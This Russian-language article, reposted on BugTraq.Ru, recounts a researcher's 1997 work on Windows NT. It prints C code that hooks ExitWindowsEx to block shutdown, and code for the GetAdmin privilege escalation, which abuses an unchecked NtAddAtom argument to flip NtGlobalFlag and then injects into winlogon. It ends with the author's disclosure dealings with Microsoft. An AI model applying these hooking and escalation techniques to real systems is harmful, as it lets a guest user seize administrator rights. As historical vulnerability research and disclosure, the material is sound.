BugTraq.Ru
Русский BugTraq
https://bugtraq.ru/library/internals/ntadmin.html

Исследование системы безопасности в Windows NT
Константин Соболев, http://cmp.phys.msu.su/
Опубликовано: dl, 20.03.02 04:31

Мое исследование системы Windows NT началось с написания программы "AntiShut: Remote Shutdown Protection" - блокировка удаленного перезапуска компьютера. В то время (примерно год назад) я был на 3 курсе и частенько сидел за компьютером на кафедре. На игру в DOOM и т. п. реакция администраторов была однозначной - удаленная перезагрузка. Что и послужило основным стимулом написания программы "AntiShut".

Данная программа блокирует как локальный, так и удаленный перезапуск.

Принцип работы программы достаточно прост. Ниже опишу основные моменты в работе программы.

Код перехвата функции ExitWindowsEx:

BOOL InterceptFunctionsInModule(PVOID baseAddress)

{
    PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)baseAddress;
    PIMAGE_NT_HEADERS pNTHeader;
    PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
   
    DWORD protect;

    if ( IsBadReadPtr(baseAddress, sizeof(PIMAGE_NT_HEADERS)) )
        return FALSE;

    if ( pDOSHeader->e_magic != IMAGE_DOS_SIGNATURE )
        return FALSE;

    pNTHeader = MakePtr(PIMAGE_NT_HEADERS, pDOSHeader, pDOSHeader->e_lfanew);
    if ( pNTHeader->Signature != IMAGE_NT_SIGNATURE )
        return FALSE;
   
    pImportDesc = MakePtr(PIMAGE_IMPORT_DESCRIPTOR, baseAddress, 
        pNTHeader->OptionalHeader.
        DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].
        VirtualAddress);
   
    if ( pImportDesc == (PIMAGE_IMPORT_DESCRIPTOR)pNTHeader )
        return FALSE;
    
    while ( pImportDesc->Name )
    {
        PIMAGE_THUNK_DATA pThunk;
        
        pThunk = MakePtr(PIMAGE_THUNK_DATA,
            baseAddress, pImportDesc->FirstThunk);
        
        while ( pThunk->u1.Function )
        {
            if( (DWORD)pThunk->u1.Function == 
                   (DWORD)GetProcAddress(GetModuleHandle("user32.dll"),"ExitWindowsEx") )
            {
                LogA("Hooking function\n");
                
                if(!IsBadWritePtr((LPVOID)pThunk->u1.Function,4))
                {
                    (PDWORD)pThunk->u1.Function = (PDWORD)MyHandler;
                }
                else
                                {

                    if(VirtualProtect((LPVOID)(&pThunk->u1.Function),
                               4096,PAGE_EXECUTE_READWRITE,&protect))
                    {
                        pThunk->u1.Function = (PDWORD)MyHandler;
                    }
                }
            }
            pThunk++;
        }
        pImportDesc++;
    }
    return TRUE;
}

В итоге, когда winlogon получает через RPC приказ перезагрузить компьютер, перезагрузка глохнет в функции ExitWindowsEx.

Получение администраторских прав

Разовьем далее идею внедрения в системные процессы. Что нам известно о системных процессах (сервисах)? То, что все они, как правило, работают под "System Account". То есть имеют администраторские права на локальной машине. Наводит на какие-нибудь мысли? Получается, что пользователь, который имеет привилегию "отладка программ", может получить права администратора на локальной машине.

Но как же обойти необходимость в специальных привилегиях?

Решение было найдено мной несколько позже - июнь 1997. Заняло - примерно 1 неделю.

Изучая работу ntoskrnl.exe (ядро Windows NT) я обнаружил (далеко не случайно, в ntoskrnl сотни функций), что функция NtAddAtom не проверяет адрес своего второго аргумента. То есть если передать в качестве параметра любой адрес, туда будет записано некое число (результат выполнения NtAddAtom).

Функция NtAddAtom, в WIN32 API вызывается функцией AddAtom, которая используется достаточно часто. Но функция AddAtom принимает только один параметр (адрес строки), поэтому вызов ее не приводил к катастрофическим последствиям.

Итак, получается, мы можем писать в любую область адресного пространства Windows NT. Очевидно, теперь мы имеем фактически полную власть над системой, без каких-либо специальных прав.

Выбирая кратчайший из возможных путей, я и написал программу GetAdmin.

Путь же этот заключался в следующем:

В системе Windows NT есть некий глобальный флаг NtGlobalFlag, имеющий адрес примерно 0x801XXXXX. Изменением одного из битов этого флага мы можем превратить Windows NT в Windows NT Checked Build, и право "SeDebugPrivilege" не будет необходимо для внедрения в системные процессы.

Код функции изменения NtGlobalFlag:


BOOL ChangeNtGlobalFlag(DWORD pNtGlobalFlag)
{
    DWORD callnumber = 0x3;
    DWORD stack[32] ;
    int i;
    DWORD handle=0;
    CHAR string[255];

    if(!pNtGlobalFlag) return 0;

    stack[0] = (DWORD)string;
    stack[1] = (DWORD)&handle;//pNtGlobalFlag;

// Вызываем NtAddAtom до тех пор, пока не будет выставлен 
// нужный бит в NtGlobalFlag.
    for(i=0;i<0x100;i++)
    {
        sprintf(string,"NT now cracking... pass %d",i);
        if(handle & 0xf00){
            stack[1] = (DWORD)pNtGlobalFlag+1;
        }
        __asm{
            mov eax, callnumber;
            mov edx, stack;
            lea edx,dword ptr [stack]
            int 0x2e;
        }

        if( stack[1] == pNtGlobalFlag+1) break;
    }
    return TRUE;
}

Далее, внедряя в winlogon код, который добавляет пользователя в группу администраторов, получаем искомый результат.

Итак, программа GetAdmin позволяет получить права администратора на правах Guest-a.

30 июля 1997 я послал письмо в Microsoft, что так и так, есть такой баг. Через пару дней получил ответ от господина N, что я ошибся, и вообще моя программа не работает. Послав программу на www.ntsecurity.net и на news я убедился, что она все-таки работает. После публикации мне пришло письмо от господина NN из Microsoft (должностью повыше, чем N) с просьбой сообщить имя господина N.

Баг этот Microsoft устранила только через несколько месяцев после публикации статьи об этом на www.ntsecurity.net.

Более подробную информацию вы можете получить на http://cmp.phys.msu.su/ntclub.

обсудить  |  все отзывы (0)

[34065; 10; 7.5]




  Copyright © 2001-2024 Dmitry Leonov Design: Vadim Derkach